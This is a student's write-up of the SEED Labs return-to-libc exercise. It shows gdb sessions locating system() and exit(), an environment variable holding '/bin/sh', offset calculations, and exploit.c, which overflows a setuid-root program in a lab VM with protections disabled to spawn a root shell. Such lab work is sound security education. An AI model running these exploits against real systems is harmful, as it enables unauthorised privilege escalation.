Neag Malina-Maria, CTI-En, 3rd year, group 2.2

SEED Security Labs: Return-to-libc Attack

Task 1: Finding out the addresses of libc functions

Task 1 involves identifying the locations of libc functions. Initially, I ensured the use of the vulnerable shell, "/bin/zsh", and disabled address space randomization for both heap and stack. This step aimed to ease the process of guessing addresses and executing the buffer-overflow attack. The given program, retlib.c, contains the buffer overflow problem and was compiled with StackGuard protection scheme disabled, which typically prevents such overflows. I set the value of N to 12 to match the buffer size specified in retlib.c and documented in the code (-DBUF_SIZE=12). Following compilation, the program was converted into a root-owned set UID program.

```
[12/27/23]seed@VM:~$ cd Desktop/Malina
[12/27/23]seed@VM:~/.../Malina$ sudo ln -sf /bin/zsh /bin/sh
[12/27/23]seed@VM:~/.../Malina$ ls -lrt /bin/sh
lrwxrwxrwx 1 root root 8 Dec 27 14:55 /bin/sh -> /bin/zsh
[12/27/23]seed@VM:~/.../Malina$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[12/27/23]seed@VM:~/.../Malina$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z n
oexecstack -o retlib retlib.c
[12/27/23]seed@VM:~/.../Malina$ sudo chown root retlib
[12/27/23]seed@VM:~/.../Malina$ sudo chmod 4755 retlib
```

The objective of this assignment involves manipulating preloaded code within memory. Utilizing the functions system() and exit() from the libc library, we aim to execute an attack identified through the GNU gdb debugger. By debugging retlib.c and establishing a breakpoint within the main function, the program is executed step by step. The intention is to locate the memory addresses corresponding to the system() and exit() functions, which will be exploited as part of the attack strategy.

```
[12/27/23]seed@VM:~/.../Malina$ gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ break main
Breakpoint 1 at 0x804851c
gdb-peda$ run
Starting program: /home/seed/Desktop/Malina/retlib
```

```
[----------------------------------registers-----------------------------------]
EAX: 0xb7fbbdbc --> 0xbfffedfc --> 0xbffff00d ("XDG_VTNR=7")
EBX: 0x0
ECX: 0xbfffed60 --> 0x1
EDX: 0xbfffed84 --> 0x0
ESI: 0xb7fba000 --> 0x1b1db0
EDI: 0xb7fba000 --> 0x1b1db0
EBP: 0xbfffed48 --> 0x0
ESP: 0xbfffed44 --> 0xbfffed60 --> 0x1
EIP: 0x804851c (<main+14>:      sub    esp,0x44)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048518 <main+10>: push   ebp                         Text
   0x8048519 <main+11>: mov    ebp,esp
   0x804851b <main+13>: push   ecx
=> 0x804851c <main+14>: sub    esp,0x44
   0x804851f <main+17>: sub    esp,0x4
   0x8048522 <main+20>: push   0x3c
   0x8048524 <main+22>: push   0x0
   0x8048526 <main+24>: lea    eax,[ebp-0x48]
```

```
[-----------------------------------stack-------------------------------------]
0000| 0xbfffed44 --> 0xbfffed60 --> 0x1
0004| 0xbfffed48 --> 0x0
0008| 0xbfffed4c --> 0xb7e20637 (<__libc_start_main+247>:       add    esp,0x10)
0012| 0xbfffed50 --> 0xb7fba000 --> 0x1b1db0
0016| 0xbfffed54 --> 0xb7fba000 --> 0x1b1db0
0020| 0xbfffed58 --> 0x0
0024| 0xbfffed5c --> 0xb7e20637 (<__libc_start_main+247>:       add    esp,0x10)
0028| 0xbfffed60 --> 0x1
[-----------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804851c in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ quit
[12/27/23]seed@VM:~/.../Malina$
```

In conclusion, the addresses of libc functions are:
- system(): 0xb7e42da0
- exit(): 0xb7e369d0

<u>Task 2:</u> Putting the shell string in the memory

The objective of this task is to store the command string '/bin/sh' in the memory and determine its address. To achieve this, a new shell variable named MYSHELL was generated, containing the command string '/bin/sh'. The program retlib.c was modified by substituting the main function code with the code provided in the documentation. Additionally, a new file, prtenv.c, was created containing only the code for the void main function. We can observe that both retlib.c and prtenv.c yielded the same result, our required address.

```
[12/27/23]seed@VM:~/.../Malina$ export MYSHELL=/bin/sh
[12/27/23]seed@VM:~/.../Malina$ env | grep MYSHELL
MYSHELL=/bin/sh
[12/27/23]seed@VM:~/.../Malina$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z n
oexecstack -o retlib retlib.c
[12/27/23]seed@VM:~/.../Malina$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z n
oexecstack -o prtenv prtenv.c
[12/27/23]seed@VM:~/.../Malina$ sudo chown root retlib
[12/27/23]seed@VM:~/.../Malina$ sudo chmod 4755 retlib
[12/27/23]seed@VM:~/.../Malina$ sudo chown root prtenv
[12/27/23]seed@VM:~/.../Malina$ sudo chmod 4755 prtenv
[12/27/23]seed@VM:~/.../Malina$ ./retlib
bffffdef
[12/27/23]seed@VM:~/.../Malina$ ./prtenv
bffffdef
```

In conclusion, the address is: 0xbffffdef.

The code for prtenv.c:

```c
void main()
{
   char* shell = getenv("MYSHELL");
   if (shell)
      printf("%x\n", (unsigned int)shell);

}
```

Task 3: Exploiting the buffer-overflow vulnerability

The objective of this task is to generate a payload that, upon execution, triggers a successful attack by exploiting a buffer overflow vulnerability present in the bof() function. Running "objdump" on the retlib program allows us to retrieve the values of X, Y, and Z, which are necessary to complete exploit.c.

```
080484eb <bof>:
 80484eb:       55                      push   %ebp
 80484ec:       89 e5                   mov    %esp,%ebp
 80484ee:       83 ec 18                sub    $0x18,%esp
 80484f1:       ff 75 08                pushl  0x8(%ebp)
 80484f4:       68 2c 01 00 00          push   $0x12c
 80484f9:       6a 01                   push   $0x1
 80484fb:       8d 45 ec                lea    -0x14(%ebp),%eax
 80484fe:       50                      push   %eax
 80484ff:       e8 8c fe ff ff          call   8048390 <fread@plt>
 8048504:       83 c4 10                add    $0x10,%esp
 8048507:       b8 01 00 00 00          mov    $0x1,%eax
 804850c:       c9                      leave
 804850d:       c3                      ret
```

The return address, located at an offset of 4 from the base pointer (ebp), is accessed through ebp + 0x4. The bof() function's allocated space is 0x18, and the system() function's offset is 24. Noting that ebp - 0x14 points to the buffer's start, I calculated the system() function's address at (ebp + 0x4) - (ebp - 0x14) = 0x18 => y = 24. Upon replacing the return address with the system function's address, the program executes its function prologue. "/bin/sh" is stored at ebp + 8 => x = 32. To ensure controlled execution after system("/bin/sh") and prevent crashes, I positioned exit() at ebp + 4 within the system stack frame => z = 28.

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and
     the values for X, Y, Z. The order of the following
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */
  *(long *) &buf[32] = 0xbffffdef;   //  "/bin/sh"
  *(long *) &buf[24] = 0xb7e42da0;   //  system()
  *(long *) &buf[28] = 0xb7e369d0;   //  exit()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}
```

If we compile the exploit.c program and run it along with retlib, we can see that the root shell is spawned:

```
[01/08/24]seed@VM:~/.../Malina$ gcc -Wall exploit.c -o exploit
[01/08/24]seed@VM:~/.../Malina$ ./exploit
[01/08/24]seed@VM:~/.../Malina$ ./retlib
# ls
badfile  exploit.c   peda-session-retlib.txt  prtenv.c  retlib.c
exploit  exploit.py  prtenv                   retlib
# pwd
/home/seed/Desktop/Malina
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
```

Attack variation 1

The goal of this task is to determine the necessity of the exit() function's address. Within the program exploit.c, I have commented out the address of the exit() function.

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
  char buf[40];
  FILE *badfile;

  badfile = fopen("./badfile", "w");

  /* You need to decide the addresses and
     the values for X, Y, Z. The order of the following
     three statements does not imply the order of X, Y, Z.
     Actually, we intentionally scrambled the order. */
  *(long *) &buf[32] = 0xbffffdef;   //  "/bin/sh"
  *(long *) &buf[24] = 0xb7e42da0;   //  system()
 // *(long *) &buf[28] = 0xb7e369d0;   //  exit()

  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}
```

Upon observation, I noticed that the exit() function's address isn't required to execute the attack on the user, because the root shell is spawned successfully even without providing the address of exit().

```
[01/08/24]seed@VM:~/.../Malina$ gcc -Wall exploit.c -o exploit
[01/08/24]seed@VM:~/.../Malina$ ./exploit
[01/08/24]seed@VM:~/.../Malina$ ./retlib
# ls
badfile  exploit.c   peda-session-retlib.txt  prtenv.c  retlib.c
exploit  exploit.py  prtenv                   retlib
# pwd
/home/seed/Desktop/Malina
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
Segmentation fault
```

Attack variation 2

The objective of this task is to rename the file from "retlib" to "newretlib" while attempting to target the user without altering the contents of the "badfile." However, changing the name from "retlib" to "newretlib" results in incorrect function addresses, causing the library to malfunction. Consequently, we're unable to successfully attack the user because renaming the file alters its address, necessitating a repetition of the prior steps to rediscover the addresses.

```
[01/08/24]seed@VM:~/.../Malina$ gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z n
oexecstack -o newretlib retlib.c
[01/08/24]seed@VM:~/.../Malina$ ./newretlib
Segmentation fault
[01/08/24]seed@VM:~/.../Malina$ 
```